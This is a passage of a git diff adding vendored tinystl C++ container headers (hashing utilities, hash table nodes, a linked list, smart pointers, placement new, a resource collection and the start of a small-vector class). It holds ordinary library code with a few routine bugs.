m_func(m_storage, static_cast(args)...); + } + + explicit operator bool() { return m_func != nullptr; } + + using Func = Return(*)(const void*, Args...); Func m_func = nullptr; + using Dtor = void(*)(void*); Dtor m_dtor = nullptr; + void* m_storage[8]; +}; + +} diff --git a/dep/tinystl/include/stl/hash.h b/dep/tinystl/include/stl/hash.h new file mode 100644 index 0000000..9bdaae5 --- /dev/null +++ b/dep/tinystl/include/stl/hash.h @@ -0,0 +1,234 @@ +/*- +* Copyright 2012-2015 Matthew Endsley +* All rights reserved +* +* Redistribution and use in source and binary forms, with or without +* modification, are permitted providing that the following conditions +* are met: +* 1. Redistributions of source code must retain the above copyright +* notice, this list of conditions and the following disclaimer. +* 2. Redistributions in binary form must reproduce the above copyright +* notice, this list of conditions and the following disclaimer in the +* documentation and/or other materials provided with the distribution. +* +* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY +* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS +* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING +* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +* POSSIBILITY OF SUCH DAMAGE. +*/ + +#ifndef TINYSTL_STRINGHASH_H +#define TINYSTL_STRINGHASH_H + +#include "stddef.h" +#include +#include +#ifdef _WIN32 +#include +#endif +// #include "../Nothings/stb_hash.h" + +#ifdef __APPLE__ +#define __forceinline inline +#endif + +namespace tinystl +{ + static inline unsigned int hash_string(const char* str, size_t len) { +#ifdef _MSC_VER + return crc32c_hw(str, (int)len, 0); +#else + + // Implementation of sdbm a public domain string hash from Ozan Yigit + // see: http://www.eecs.harvard.edu/margo/papers/usenix91/paper.ps + + unsigned int hash = 0; + typedef const char* pointer; + for (pointer it = str, end = str + len; it != end; ++it) + hash = *it + (hash << 6) + (hash << 16) - hash; + + return hash; +#endif + } + + static inline unsigned int hash(const char* str) { + const char* strEnd = str; + while (*strEnd != '\0') { ++strEnd; } + return hash_string(str, strEnd - str); + } + + template + inline unsigned int hash(const T& value) { + return hash_string((const char*)&value, sizeof(value)); + } + +#if defined(__linux__) +#define __forceinline __attribute__((always_inline)) +#endif + + template static __forceinline T align_up_with_mask(T value, uint64_t mask) + { + return (T)(((uint64_t)value + mask) & ~mask); + } + + template static __forceinline T align_down_with_mask(T value, uint64_t mask) + { + return (T)((uint64_t)value & ~mask); + } + + template static __forceinline T align_up(T value, uint64_t alignment) + { + return align_up_with_mask(value, alignment - 1); + } + + template static __forceinline T align_down(T value, uint64_t alignment) + { + return align_down_with_mask(value, alignment - 1); + } + +#ifdef _M_X64 +#define ENABLE_SSE_CRC32 1 +#else +#define ENABLE_SSE_CRC32 0 +#endif + +#if ENABLE_SSE_CRC32 +#pragma intrinsic(_mm_crc32_u32) +#pragma intrinsic(_mm_crc32_u64) +#endif + + static inline uint64_t hash_range(const uint32_t* const Begin, const uint32_t* const End, uint64_t Hash) + { +#if ENABLE_SSE_CRC32 + const uint64_t* Iter64 = (const uint64_t*)align_up(Begin, 8); + const uint64_t* const End64 = (const uint64_t* const)align_down(End, 8); + + // If not 64-bit aligned, start with a single u32 + if ((uint32_t*)Iter64 > Begin) + Hash = _mm_crc32_u32((uint32_t)Hash, *Begin); + + // Iterate over consecutive u64 values + while (Iter64 < End64) + Hash = _mm_crc32_u64((uint64_t)Hash, *Iter64++); + + // If there is a 32-bit remainder, accumulate that + if ((uint32_t*)Iter64 < End) + Hash = _mm_crc32_u32((uint32_t)Hash, *(uint32_t*)Iter64); +#else + // An inexpensive hash for CPUs lacking SSE4.2 + for (const uint32_t* Iter = Begin; Iter < End; ++Iter) + Hash = 16777619U * Hash ^ *Iter; +#endif + + return Hash; + } + + template static inline uint64_t hash_state(const T* StateDesc, uint64_t Count = 1, uint64_t Hash = 2166136261U) + { + static_assert((sizeof(T) & 3) == 0 && alignof(T) >= 4, "State object is not word-aligned"); + return hash_range((uint32_t*)StateDesc, (uint32_t*)(StateDesc + Count), Hash); + } + +} + +#include //malloc +#include //memset + +struct HashEntry +{ + unsigned int *value; + HashEntry *next; + unsigned int index; +}; + +class Hash +{ +public: + Hash(const unsigned int dim, const unsigned int entryCount, const unsigned int capasity) + { + curr = mem = (unsigned char*)malloc(entryCount * sizeof(HashEntry *) + capasity * (sizeof(HashEntry) + sizeof(unsigned int) * dim)); + + nDim = dim; + count = 0; + nEntries = entryCount; + entries = (HashEntry **)newMem(entryCount * sizeof(HashEntry *)); + + memset(entries, 0, entryCount * sizeof(HashEntry *)); + } + + ~Hash() { + free(mem); + } + + bool insert(const unsigned int *value, unsigned int *index) { + unsigned int hash = 0;//0xB3F05C27; + unsigned int i = 0; + do { + hash += value[i]; + hash += (hash << 11); + //hash ^= (hash >> 6); + i++; + } while (i < nDim); + + hash %= nEntries; + + HashEntry *entry = entries[hash]; + + while (entry) { + if (memcmp(value, entry->value, nDim * sizeof(unsigned int)) == 0) { + *index = entry->index; + return true; + } + + entry = entry->next; + } + + HashEntry *newEntry = (HashEntry *)newMem(sizeof(HashEntry)); + newEntry->value = (unsigned int *)newMem(sizeof(unsigned int) * nDim); + + memcpy(newEntry->value, value, nDim * sizeof(unsigned int)); + newEntry->index = count++; + + newEntry->next = entries[hash]; + entries[hash] = newEntry; + + *index = newEntry->index; + return false; + } + + static size_t hash(const char* val) + { + return tinystl::hash(val); + } + + static size_t hash(const char* str, unsigned int len) + { + return tinystl::hash_string(str, len); + } + + unsigned int getCount() const { return count; } + +protected: + unsigned int nDim; + unsigned int count; + unsigned int nEntries; + + HashEntry **entries; + + void *newMem(const unsigned int size) { + unsigned char *rmem = curr; + curr += size; + return rmem; + } + + unsigned char *mem, *curr; +}; + +#endif diff --git a/dep/tinystl/include/stl/hash_base.h b/dep/tinystl/include/stl/hash_base.h new file mode 100644 index 0000000..b76db83 --- /dev/null +++ b/dep/tinystl/include/stl/hash_base.h @@ -0,0 +1,229 @@ +/*- + * Copyright 2012-2015 Matthew Endsley + * All rights reserved + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted providing that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef TINYSTL_HASH_BASE_H +#define TINYSTL_HASH_BASE_H + +#include "stddef.h" + +namespace tinystl { + template + struct pair { + pair(); + pair(const Key& key, const Value& value); + + Key first; + Value second; + }; + + template + pair::pair() { + } + + template + pair::pair(const Key& key, const Value& value) + : first(key) + , second(value) + { + } + + template + static inline pair make_pair(const Key& key, const Value& value) { + return pair(key, value); + } + + template + struct unordered_hash_node { + unordered_hash_node(const Key& key, const Value& value); + + const Key first; + Value second; + unordered_hash_node* next; + unordered_hash_node* prev; + + private: + unordered_hash_node& operator=(const unordered_hash_node&); + }; + + template + unordered_hash_node::unordered_hash_node(const Key& key, const Value& value) + : first(key) + , second(value) + { + } + + template + struct unordered_hash_node { + unordered_hash_node(const Key& key); + + const Key first; + unordered_hash_node* next; + unordered_hash_node* prev; + + private: + unordered_hash_node& operator=(const unordered_hash_node&); + }; + + template + unordered_hash_node::unordered_hash_node(const Key& key) + : first(key) + { + } + + template + static void unordered_hash_node_insert(unordered_hash_node* node, size_t hash, unordered_hash_node** buckets, size_t nbuckets) { + size_t bucket = hash & (nbuckets - 1); + + unordered_hash_node* it = buckets[bucket + 1]; + node->next = it; + if (it) { + node->prev = it->prev; + it->prev = node; + if (node->prev) + node->prev->next = node; + } + else { + size_t newbucket = bucket; + while (newbucket && !buckets[newbucket]) + --newbucket; + + unordered_hash_node* prev = buckets[newbucket]; + while (prev && prev->next) + prev = prev->next; + + node->prev = prev; + if (prev) + prev->next = node; + } + + // propagate node through buckets + for (; it == buckets[bucket]; --bucket) { + buckets[bucket] = node; + if (!bucket) + break; + } + } + + template + static inline void unordered_hash_node_erase(const unordered_hash_node* where, size_t hash, unordered_hash_node** buckets, size_t nbuckets) { + size_t bucket = hash & (nbuckets - 1); + + unordered_hash_node* next = where->next; + for (; buckets[bucket] == where; --bucket) { + buckets[bucket] = next; + if (!bucket) + break; + } + + if (where->prev) + where->prev->next = where->next; + if (next) + next->prev = where->prev; + } + + template + struct unordered_hash_iterator { + Node* operator->() const; + Node& operator*() const; + Node* node; + }; + + template + struct unordered_hash_iterator { + unordered_hash_iterator() {} + unordered_hash_iterator(unordered_hash_iterator other) + : node(other.node) + { + } + + const Node* operator->() const; + const Node& operator*() const; + const Node* node; + }; + + template + struct unordered_hash_iterator > { + const Key* operator->() const; + const Key& operator*() const; + unordered_hash_node* node; + }; + + template + static inline bool operator==(const unordered_hash_iterator& lhs, const unordered_hash_iterator& rhs) { + return lhs.node == rhs.node; + } + + template + static inline bool operator!=(const unordered_hash_iterator& lhs, const unordered_hash_iterator& rhs) { + return lhs.node != rhs.node; + } + + template + static inline void operator++(unordered_hash_iterator& lhs) { + lhs.node = lhs.node->next; + } + + template + inline Node* unordered_hash_iterator::operator->() const { + return node; + } + + template + inline Node& unordered_hash_iterator::operator*() const { + return *node; + } + + template + inline const Node* unordered_hash_iterator::operator->() const { + return node; + } + + template + inline const Node& unordered_hash_iterator::operator*() const { + return *node; + } + + template + inline const Key* unordered_hash_iterator >::operator->() const { + return &node->first; + } + + template + inline const Key& unordered_hash_iterator >::operator*() const { + return node->first; + } + + template + static inline Node unordered_hash_find(const Key& key, Node* buckets, size_t nbuckets) { + const size_t bucket = hash(key) & (nbuckets - 2); + for (Node it = buckets[bucket], end = buckets[bucket + 1]; it != end; it = it->next) + if (it->first == key) + return it; + + return 0; + } +} +#endif diff --git a/dep/tinystl/include/stl/list.h b/dep/tinystl/include/stl/list.h new file mode 100644 index 0000000..60c95a0 --- /dev/null +++ b/dep/tinystl/include/stl/list.h @@ -0,0 +1,288 @@ +#ifndef __TINYSTL_LIST__ +#define __TINYSTL_LIST__ + +#include +#include "allocator.h" +#include "utils.h" + +namespace tinystl { + template + struct list_node { + U *pval; + list_node *prev, *next; + + list_node() : pval(nullptr), prev(nullptr), next(nullptr) {} + }; + + template + struct DefaultListAllocator + { + template + T* allocate_and_construct(size_t count, Args... args) + { + T* ptr = (T*)allocator::static_allocate(count * sizeof(T)); + for (size_t i = 0; i < count; ++i) + { + ptr[i] = conf_placement_new(ptr[i], args...); + } + return ptr; + } + + void destroy_and_deallocate(T* ptr, size_t count) + { + for (size_t i = 0; i < count; ++i) + { + ptr[i].~T(); + } + allocator::static_deallocate(ptr); + } + }; + + template > + class list { + public: + /*** 1. Element Access ***/ + + // access first element + T &front() { + if (head == nullptr) + throw std::out_of_range("empty list"); + return *(head->pval); + } + + // access last element + T &back() { + if (tail == nullptr) + throw std::out_of_range("empty list"); + return *(tail->pval); + } + + /*** 2. Iterator ***/ + + class Iterator : public ForwardIterator { + public: + bool operator ==(const Iterator &I) { return (this->curr == I.curr); } + bool operator !=(const Iterator &I) { return (this->curr != I.curr); } + + T &operator *() { return *(curr->pval); } + + Iterator operator ++() { + advance(); + return Iterator(this->curr); + } + + Iterator operator ++(int dummy) { + Iterator temp(this->curr); + advance(); + return temp; + } + + Iterator(list_node *_curr = nullptr) : curr(_curr) {} + + private: + void advance() { curr = curr->next; } + + list_node *curr; + + friend class list; + }; + + class ReverseIterator : public BackwardIterator { + public: + bool operator ==(const ReverseIterator &I) { return (this->curr == I.curr); } + bool operator !=(const ReverseIterator &I) { return (this->curr != I.curr); } + + T &operator *() { return *(curr->pval); } + + ReverseIterator operator ++() { + advance(); + return ReverseIterator(this->curr); + } + + ReverseIterator operator ++(int dummy) { + ReverseIterator temp(this->curr); + advance(); + return temp; + } + + ReverseIterator(list_node *_curr = nullptr) : curr(_curr) {} + + private: + void advance() { curr = curr->prev; } + + list_node *curr; + + friend class list; + }; + + // iterator to the beginning + Iterator begin() { return Iterator(head); } + + // iterator to the end + Iterator end() { return Iterator(nullptr); } + + // reverse iterator to the beginning + ReverseIterator rbegin() { return ReverseIterator(tail); } + + // reverse iterator to the end + ReverseIterator rend() { return ReverseIterator(nullptr); } + + /*** 3. Capacity ***/ + + // checks whether the list is empty + bool empty() { return (N == 0); } + + // returns the number of elements + unsigned int size() { return N; } + + /*** 4. Modifiers ***/ + + // add element at beginning + void push_front(const T &val) { + if (this->empty()) { + head = createNode(val); + tail = head; + } + else { + head->prev = createNode(val); + head->prev->next = head; + head = head->prev; + } + ++N; + } + + // delete first element + void pop_front() { + if (head == nullptr) + throw std::out_of_range("empty list"); + if (N == 1) { + deleteNode(head); + head = tail = nullptr; + } + else { + auto temp = head; + head = head->next; + head->prev = nullptr; + deleteNode(temp); + } + --N; + } + + // add element at end + void push_back(const T &val) { + if (this->empty()) { + head = createNode(val); + tail = head; + } + else { + tail->next = createNode(val); + tail->next->prev = tail; + tail = tail->next; + } + ++N; + } + + // delete last element + void pop_back() { + if (tail == nullptr) + throw std::out_of_range("empty list"); + if (N == 1) { + deleteNode(head); + head = tail = nullptr; + } + else { + auto temp = tail; + tail = tail->prev; + tail->next = nullptr; + deleteNode(temp); + --N; + } + } + + // insert elements + void insert(Iterator pos, const T &val) { + if (pos == this->begin()) { + push_front(val); + } + else if (pos == this->end()) { + push_back(val); + } + else { + list_node *pivot = pos.curr; + list_node *new_node = createNode(val); + pivot->prev->next = new_node; + new_node->prev = pivot->prev; + new_node->next = pivot; + pivot->prev = new_node; + ++N; + } + } + + // erase elements + Iterator erase(Iterator pos) { + if (pos == this->end()) + return pos; + if (pos == this->begin()) { + pop_front(); + return this->begin(); + } + else { + list_node *pivot = pos.curr; + pivot->prev->next = pivot->next; + pivot->next->prev = pivot->prev; + pos = Iterator(pivot->next); + deleteNode(pivot); + --N; + return pos; + } + } + + // swap content with another list + void swap(list &other) { + swap(this->head, other.head); + swap(this->tail, other.tail); + swap(this->N, other.N); + } + + // clear content + void clear() { + for (; N > 0; --N) { + auto rest = head->next; + deleteNode(head); + head = rest; + } + head = tail = nullptr; + } + + /*** 5. Constructor and Destructor ***/ + + // constructor + list() : head(nullptr), tail(nullptr), N(0) {} + + // destructor + ~list() { clear(); } + + private: + list_node *head, *tail; + unsigned int N; + Alloc alloc; + + template + list_node *createNode(Args... args) { + list_node *p = (list_node *)allocator::static_allocate(sizeof(list_node)); + p = conf_placement_new(p); + p->pval = alloc.allocate_and_construct(1, args...); + return p; + } + + void deleteNode(list_node *p) { + alloc.destroy_and_deallocate(p->pval, 1); + allocator::static_deallocate(p); + } + + friend class Iterator; + friend class ReverseIterator; + }; +}; + +#endif diff --git a/dep/tinystl/include/stl/memory.h b/dep/tinystl/include/stl/memory.h new file mode 100644 index 0000000..4401032 --- /dev/null +++ b/dep/tinystl/include/stl/memory.h @@ -0,0 +1,355 @@ +/*- + * Copyright 2012-2015 Matthew Endsley + * All rights reserved + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted providing that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef TINYSTL_MEMORY_H +#define TINYSTL_MEMORY_H + +#include "detail/ref.h" +#include "allocator.h" + +namespace tinystl +{ + //Forward decls + template + class unique_ptr; + + template + void swap(unique_ptr& x, unique_ptr& y); + + ////// + // TODO: reformat header to conform. + // UNIQUE PTR + ////// + template + struct default_delete { + void operator ()(T* ptr) + { + if (ptr) + { + ptr->~T(); + allocator::static_deallocate(ptr, sizeof(T)); + } + } + }; + + template + struct default_delete < T[] > + { + void operator ()(T* ptr) + { + if (ptr) + { + //@remark : Not sure how we want to handle calling the destructor for the whole array! + allocator::static_deallocate(ptr); + } + } + }; + + template> + class unique_ptr { + public: + typedef T element_type; + typedef D deleter_type; + typedef element_type *pointer; + public: + explicit unique_ptr(T *data = nullptr) :data_(data) {} + unique_ptr(T *data, deleter_type del) :data_(data), deleter(del) {} + + unique_ptr(unique_ptr&& up) :data_(nullptr) { + tinystl::swap(data_, up.data_); + } + unique_ptr& operator = (unique_ptr&& up) { + if (&up != this) { + clean(); + tinystl::swap(*this, up); + } + return *this; + } + + //Derived type pointer + template + unique_ptr(unique_ptr&& up) :data_(up.release()) + { + static_assert(std::is_base_of::value, "Cannot move pointer of non-derived type."); + } + + unique_ptr(const unique_ptr&) = delete; + unique_ptr& operator = (const unique_ptr&) = delete; + + ~unique_ptr() { clean(); } + + const pointer get()const { return data_; } + pointer get() { return data_; } + deleter_type& get_deleter() { return deleter; } + const deleter_type& get_deleter()const { return deleter; } + + operator bool()const { return get() != nullptr; } + + pointer release() { + T *p = data_; + data_ = nullptr; + return p; + } + void reset(pointer p = pointer()) { + clean(); + data_ = p; + } + void swap(unique_ptr& up) + { + T* p = data_; + data_ = up.data_; + up.data_ = p; + } + + template + const typename std::enable_if_t, U>& operator *()const { return *data_; } + const pointer operator ->()const { return data_; } + template + typename std::enable_if_t, U>& operator *() { return *data_; } + pointer operator ->() { return data_; } + private: + inline void clean() { + deleter(data_); + data_ = nullptr; + } + private: + element_type *data_; + deleter_type deleter; + }; + template + void swap(unique_ptr& x, unique_ptr& y) { + x.swap(y); + } + template + bool operator == (const unique_ptr& lhs, const unique_ptr& rhs) { + return lhs.get() == rhs.get(); + } + template + bool operator == (const unique_ptr& up, nullptr_t p) { + return up.get() == p; + } + template + bool operator == (nullptr_t p, const unique_ptr& up) { + return up.get() == p; + } + template + bool operator != (const unique_ptr& lhs, const unique_ptr& rhs) { + return !(lhs == rhs); + } + template + bool operator != (const unique_ptr& up, nullptr_t p) { + return up.get() != p; + } + template + bool operator != (nullptr_t p, const unique_ptr& up) { + return up.get() != p; + } + + template + unique_ptr make_unique(Args&&... args) { + T* ptr = (T*)allocator::static_allocate(sizeof(T)); + ptr = new(ptr) T(std::forward(args)...); + return unique_ptr(ptr); + }; + + ////// + // TODO: reformat header to conform. + // SHARED PTR + ////// + template + class shared_ptr { + public: + typedef T element_type; + private: + template + using ref_t = detail::ref_t < Type >; + public: + explicit shared_ptr(T *p = nullptr) :ref_(new ref_t(p)) {} + template + shared_ptr(T *p, D del) : ref_(new ref_t(p, del)) {} + + shared_ptr(const shared_ptr& sp) { + copy_ref(sp.ref_); + } + + shared_ptr& operator = (const shared_ptr& sp) { + if (this != &sp) { + decrease_ref(); + copy_ref(sp.ref_); + } + return *this; + } + + ~shared_ptr() { decrease_ref(); } + + const element_type& operator *()const { return *(get()); } + const element_type *operator ->()const { return get(); } + element_type& operator *() { return *(get()); } + element_type *operator ->() { return get(); } + + const element_type* get() const { return ref_->get_data(); } + element_type* get() { return ref_->get_data(); } + size_t use_count() const { return ref_->count(); } + + operator bool() const { return get() != nullptr; } + private: + void decrease_ref() { + if (ref_->get_data()) { + --(*ref_); + if (use_count() == 0) + { + ref_->~ref_t(); + allocator::static_deallocate(ref_); + } + } + } + void copy_ref(ref_t *r) {//ÕýÈ·µÄ¿½±´ref_t + ref_ = r; + ++(*ref_); + } + private: + ref_t *ref_; + + public: + template + friend class cow_ptr; + }; + template + bool operator == (const shared_ptr& lhs, const shared_ptr& rhs) { + return lhs.get() == rhs.get(); + } + template + bool operator == (const shared_ptr& sp, nullptr_t p) { + return sp.get() == p; + } + template + bool operator == (nullptr_t p, const shared_ptr& sp) { + return sp == p; + } + template + bool operator != (const shared_ptr& lhs, const shared_ptr& rhs) { + return !(lhs == rhs); + } + template + bool operator != (const shared_ptr& sp, nullptr_t p) { + return !(sp == p); + } + template + bool operator != (nullptr_t p, const shared_ptr& sp) { + return !(sp == p); + } + + template + shared_ptr make_shared(Args... args) { + T* ptr = (T*)allocator::static_allocate(sizeof(T)); + ptr = new(ptr) T(std::forward(args)...); + return shared_ptr(ptr); + } + + ////////////////////////////// + // WEAK PTR + ////////////////////////////// + // template class weak_ptr + template + class weak_ptr { + private: + // original pointer + T* __ptr; + // reference count + unsigned int* __countptr; + public: + friend class shared_ptr; + // constructor + weak_ptr() : __ptr(nullptr), __countptr(new unsigned int) {} + weak_ptr(const shared_ptr& ptr): __ptr(ptr.__ptr), __countptr(ptr.__countptr) {} + weak_ptr(const weak_ptr& ptr): __ptr(ptr.__ptr), __countptr(ptr.__countptr) {} + weak_ptr(weak_ptr&& ptr) noexcept : __ptr(ptr.__ptr), __countptr(ptr.__countptr) + { + ptr.__ptr = nullptr; + ptr.__countptr = nullptr; + } + // assignment operator + weak_ptr& operator= (const weak_ptr& ptr) + { + if (this != &ptr) { + __ptr = ptr.__ptr; + __countptr = ptr.__countptr; + } + return *this; + } + weak_ptr& operator= (const shared_ptr& ptr) + { + __ptr = ptr.__ptr; + __countptr = ptr.__countptr; + return *this; + } + weak_ptr& operator= (weak_ptr&& ptr) noexcept + { + if (this != &ptr) { + __ptr = ptr.__ptr; + __countptr = ptr.__countptr; + ptr.__ptr = nullptr; + ptr.__countptr = nullptr; + } + return *this; + } + + // deconstructor + ~weak_ptr() = default; + + // some frequently used functions + void reset() + { + __ptr = nullptr; + __countptr = nullptr; + } + + unsigned int use_count() + { + return *__countptr; + } + + bool expired() + { + if (__countptr == nullptr) return true; + return use_count() == 0; + } + + shared_ptr lock() + { + return shared_ptr(*this); + } + + void swap(weak_ptr& ptr) noexcept + { + weak_ptr tmp = *this; + *this = ptr; + ptr = tmp; + } + }; +} + +#endif diff --git a/dep/tinystl/include/stl/new.h b/dep/tinystl/include/stl/new.h new file mode 100644 index 0000000..529fa73 --- /dev/null +++ b/dep/tinystl/include/stl/new.h @@ -0,0 +1,42 @@ +/*- + * Copyright 2012-2015 Matthew Endsley + * All rights reserved + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted providing that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY + * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING + * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef TINYSTL_NEW_H +#define TINYSTL_NEW_H + +#include "stddef.h" + +namespace tinystl { + struct placeholder {}; +} + +inline void* operator new(size_t, tinystl::placeholder, void* ptr) { + return ptr; +} + +inline void operator delete(void*, tinystl::placeholder, void*) throw() {} + +#endif diff --git a/dep/tinystl/include/stl/resource_collection.h b/dep/tinystl/include/stl/resource_collection.h new file mode 100644 index 0000000..063cfef --- /dev/null +++ b/dep/tinystl/include/stl/resource_collection.h @@ -0,0 +1,62 @@ +#pragma once + +#include "vector.h" + +namespace tinystl +{ + template< class T> + class resource_collection + { + public: + ~resource_collection() + { + // cleanup remaining resources + for (auto& arrayObject : m_array) + delete arrayObject; + + // force size 0 + m_array.resize(0); + } + size_t create() + { + if (m_freelist.empty()) + { + m_array.push_back(new T()); + return m_array.size(); + } + else + { + size_t idx = m_freelist.back(); + m_freelist.pop_back(); + m_array[idx] = new T(); + return ++idx; + } + } + void destroy(size_t idx) + { + delete m_array[--idx]; + m_array[idx] = nullptr; + m_freelist.push_back(idx); + } + + T& operator [] (size_t idx) + { + return *m_array[--idx]; + } + + size_t find(T* ptr) + { + for (size_t i = 0; i < m_array.size(); ++i) + { + if (m_array[i] == ptr) + return i + 1; + } + + return 0; + } + + protected: + tinystl::vector m_array; + tinystl::vector m_freelist; + }; +}; diff --git a/dep/tinystl/include/stl/smallvector.h b/dep/tinystl/include/stl/smallvector.h new file mode 100644 index 0000000..d8f1421 --- /dev/null +++ b/dep/tinystl/include/stl/smallvector.h @@ -0,0 +1,684 @@ +#ifndef SMALL_VECTOR_H +#define SMALL_VECTOR_H + +#include "allocator.h" +#include "buffer.h" + + +#include "../../../OS/Core/DLL.h" + +/* smallvector is a class aimed to have the same functionality as a regular vector, but avoiding to dinamically allocate memory every time it reaches its capacity. +** It does this by using a statically sized array of S size (known at compile-time), when the number of elements is less than S, and a buffer +** in which dinamically stores all the extra elements that it needs and don't fit in the array. +** Because of this, this class is best used whenever you have a realistic estimate of how many elements you'll have inside the vector at almost all times. This way, you'll not +** allocate anything at runtime unless you really need it. +** The class supports all the functionality in tinystl::vector, even all the iterator-related functions (thanks to the use of a smart iterator that knows where both the array and buffer are in memory). +*/ + +namespace tinystl { + // Smart iterator (needed to loop coherently through the array and buffer). + template + struct CONFETTI_DLLAPI smallVectorIterator + { + T* p; + T* pArray; + T* pBuffer; + size_t arraySize; + public: + smallVectorIterator(T* x, T* y, T* z, size_t w) :p(x), pArray(y), pBuffer(z), arraySize(w) {} + smallVectorIterator(const T* x, const T* y, const T* z, const size_t w) : p(const_cast(x)), pArray(const_cast(y)), pBuffer(const_cast(z)), arraySize(w) {} + smallVectorIterator(const smallVectorIterator& mit) : p(mit.p), pArray(mit.pArray), pBuffer(mit.pBuffer), arraySize(mit.arraySize) {} + + smallVectorIterator& operator++() { + if (p == pArray + arraySize - 1) p = pBuffer; + else ++p; + return *this; + } + smallVectorIterator& operator--() { + if (p == pBuffer) p = pArray + arraySize - 1; + else --p; + return *this; + } + smallVectorIterator operator++(int) { smallVectorIterator tmp(*this); operator++(); return tmp; } + smallVectorIterator operator--(int) { smallVectorIterator tmp(*this); operator--(); return tmp; } + + T& operator*() { return *p; } + const T& operator*() const { return *p; } + T* operator&() { return p; } + const T* operator&() const { return p; } + + bool operator==(const smallVectorIterator& rhs) { return p == rhs.p; } + bool operator!=(const smallVectorIterator& rhs) { return p != rhs.p; } + const bool operator==(const smallVectorIterator& rhs) const { return p == rhs.p; } + const bool operator!=(const smallVectorIterator& rhs) const { return p != rhs.p; } + + + smallVectorIterator& operator+=(const int& i) { + size_t offset = p - pArray; + if (offset + i >= arraySize && p + i < pBuffer) p = pBuffer + i - (arraySize - offset); + else p += i; + return *this; + } + smallVectorIterator operator+(const int& i) + { + smallVectorIterator tmp(*this); + operator+=(i); + return tmp; + } + + smallVectorIterator& operator-=(const int& i) { + size_t offset = p - pBuffer; + if (p - i < pBuffer && p - pArray >= arraySize) p = pArray + arraySize - i + offset; + else p -= i; + return *this; + } + smallVectorIterator operator-(const int& i) + { + smallVectorIterator tmp(*this); + operator-=(i); + return tmp; + } + }; + + template + 